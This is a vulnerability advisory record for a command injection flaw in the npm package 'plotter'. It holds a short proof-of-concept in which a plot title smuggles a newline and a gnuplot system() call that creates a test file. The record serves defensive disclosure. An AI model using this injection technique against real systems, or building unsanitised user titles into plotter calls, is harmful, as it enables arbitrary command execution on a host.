GHSA-65xx-c85x-wg76

Source

https://github.com/advisories/GHSA-65xx-c85x-wg76

Import Source

https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2020/09/GHSA-65xx-c85x-wg76/GHSA-65xx-c85x-wg76.json

JSON Data

https://api.osv.dev/v1/vulns/GHSA-65xx-c85x-wg76

Published

2020-09-04T17:20:52Z

Modified

2020-08-31T18:59:26Z

Summary

Command Injection in plotter

Details

All versions of plotter are vulnerable to Command Injection. The package fails to sanitize plot titles, which may allow attackers to execute arbitrary code in the system if the title value is supplied by a user. The following proof-of-concept creates a testing file in the current directory:

var plot = require('plotter').plot;

const title = 'Example "\nset title system("touch testing")#';

plot({
data: [ 3, 1, 2, 3, 4 ],
filename: 'output.pdf',
style: 'linespoints',
title: title,
logscale: true,
xlabel: 'time',
ylabel: 'length of string',
format: 'pdf'
});

Recommendation

No fix is currently available. Consider using an alternative package until a fix is made available.

Database specific

{
    "cwe_ids": [
        "CWE-77"
    ],
    "github_reviewed_at": "2020-08-31T18:59:26Z",
    "github_reviewed": true,
    "severity": "CRITICAL",
    "nvd_published_at": null
}

References

https://www.npmjs.com/advisories/1441

Affected packages

npm / plotter

Package

Name: plotter; View open source insights on deps.dev
Purl: pkg:npm/plotter

Affected ranges

Type: SEMVER
Events: Introduced

0.0.0

Database specific

source

"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2020/09/GHSA-65xx-c85x-wg76/GHSA-65xx-c85x-wg76.json"